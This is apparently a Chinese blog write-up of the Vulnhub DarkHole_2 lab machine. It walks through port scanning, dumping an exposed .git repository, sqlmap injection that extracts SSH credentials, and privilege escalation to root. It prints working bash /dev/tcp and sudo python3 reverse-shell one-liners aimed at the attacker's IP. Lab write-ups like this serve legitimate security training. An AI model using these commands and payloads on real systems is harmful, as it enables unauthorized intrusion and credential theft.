Vulnhub實戰-Dockhole_2靶機?

胖三斤1發表於2021-10-18

Vulnhub實戰-Dockhole_2靶機?

靶機地址:https://www.vulnhub.com/entry/darkhole-2,740/

1.描述

image

hint:讓我們不要浪費時間在蠻力上面!

2.主機發現,埠掃描

  1. 主機發現
    在kali上面掃描本地網段,發現主機IP192.168.33.88
    nmap -sn 192.168.33.0/24

image

  1. 埠掃描
    在kali中輸入以下命令
    nmap -sS -p- -v 192.168.33.88

image

我們發現開啟了22,80埠,說明開啟了ssh跟web服務,還記得提示嘛,讓我們不要用蠻力噢。所有這裡我不打算暴力破解ssh賬號密碼,直接看看web服務有什麼線索吧。

3.web服務測試

  1. 訪問ip192.168.33.88,得到如下頁面:

image

分析頁面有什麼功能點,發現存在一個login頁面如下:

image

檢視頁面原始碼也沒有發現什麼有用的資訊,試試目錄掃描吧。

  1. 目錄掃描

開啟kali進入dirsearch進行目錄掃描

python3 dirsearch.py -u 'http://192.168.33.88' -i 200

image

我們看到一堆git目錄,說明存在git原始碼洩露,但是除了我們知道的index.php,login.php之外還出現了一個dashboard.php這個目錄,我們開啟看看發現不允許訪問,應該做了許可權驗證。所有先從git原始碼洩露下手吧。

image

  1. git原始碼下載

從上面我們看到這個頁面存在git原始碼洩露,頁面如下:

image

方法一:我們利用Githacker這個工具,將它下載到本地看看。(這裡提示一下,網上很多部落格說的是用Githack這個工具,但是這個工具我試了,並沒有把程式碼完整的克隆下來,Githack只是恢復原始碼的最新版本,而Githacker可以將開發者的提交歷史一起克隆下來並在本地重建。)
具體區別可以參考如下:https://blog.csdn.net/qq_37450949/article/details/117821102

方法二:我們也可以用wget -r這個命令遞迴下載原始碼下來重建,也可以下載完全。

命令如下:
wget -r http://192.168.33.88/.git/

接下來在kali中輸入命令下載程式碼到本地:
githacker --url http://192.168.33.88/.git/ --folder output

意思是把原始碼下載到當前目錄output資料夾

image

然後我們可以檢視login.php的原始碼,可以看到登陸處的程式碼邏輯

image

接下來我們看看 git 歷史日誌,發現存在修改記錄,第二個那裡作者新增了預設憑據

git log

image

我們切換過去看看git checkout a4d900a8d85e89

image

切換歷史版本之後我們再次開啟login.php發現了預設的使用者名稱密碼

image

拿上使用者名稱密碼登入之後看到如下頁面:

image

  1. sql注入

我們檢視了一下原始碼,發現沒什麼可利用的,最後在url處發現有個id,我們猜測這裡存在SQL隱碼攻擊,這裡比較懶,就不用手工注入了,直接上sqlmap跑一下。

sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' --current-db    //爆資料庫
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' -D darkhole_2 --tables    //爆表
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' -D darkhole_2 -T ssh --dump    //爆內容

我們可以看到資料庫"dockhole_2",表有兩個"ssh,users",看了一下users表,發現沒有什麼重要資訊,在ssh表裡面發現了一個賬號密碼,我們可以拿來連線ssh。

image

4.提權

拿到使用者名稱密碼之後我們登入ssh:

image

進來之後我們看看是否存在具有suid許可權的檔案,發現不存在具有suid許可權的檔案。

find / -perm -u=s -type f 2>/dev/null

image

我們再看看是否具有root許可權能執行的命令,發現也沒有?

sudo -l

image

完了,沒路了。不會走了。看看其他大佬部落格他們接下來是去檢視linux的定時任務檔案

cat /etc/crontab

image

發現有一個使用者losy開啟了本地的9999埠,至於php -s是開啟了一個網路伺服器的意思。

image

我們嘗試去訪問9999埠,發現連線失敗,那麼我們就把靶機的9999埠轉發到本地來訪問。?

ssh -L 9999:127.0.0.1:9999 jehad@192.168.33.88

image

然後我們在瀏覽器訪問127.0.0.1:9999就可以訪問了,我們可以看到它是讓我們以GET的方式輸入一個cmd引數。噢對了,剛剛還有一個目錄我們看看裡面是什麼。裡面是一個一句話木馬,那就對上了。

image

image

接下來我們通過cmd引數反彈一個shell,kali監聽10086埠連線。

nc -lnvp 10086

image

payload:bash -c 'sh -i >& /dev/tcp/192.168.33.213/10086 0>&1'
因為是通過GET方式執行paylaod,所以我們要先進行url編碼:
%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%33%33%2e%32%31%33%2f%31%30%30%38%36%20%30%3e%26%31%27

傳送請求之後我們就連上shell了,我們可以看到使用者是losy

image

我們在losy的歷史命令中看到了設定的密碼:gang

image

接著我們通過ssh連線上losy,看到losy能以root許可權執行python3命令,所以我們自然就能想到反彈一個python3的反彈shell!?

ssh losy@192.168.33.88
sudo -l
sudo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.33.213",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

image

我們的kali監聽10086,可以看到反彈shell已經連上了,看看許可權是root許可權,然後在/root資料夾下面找到了root.txt,flag就在裡面!?

image

到這裡我們就結束了,成功提權到root許可權了!通過幹vulnhub,一天一個提權小技巧!?


image

相關文章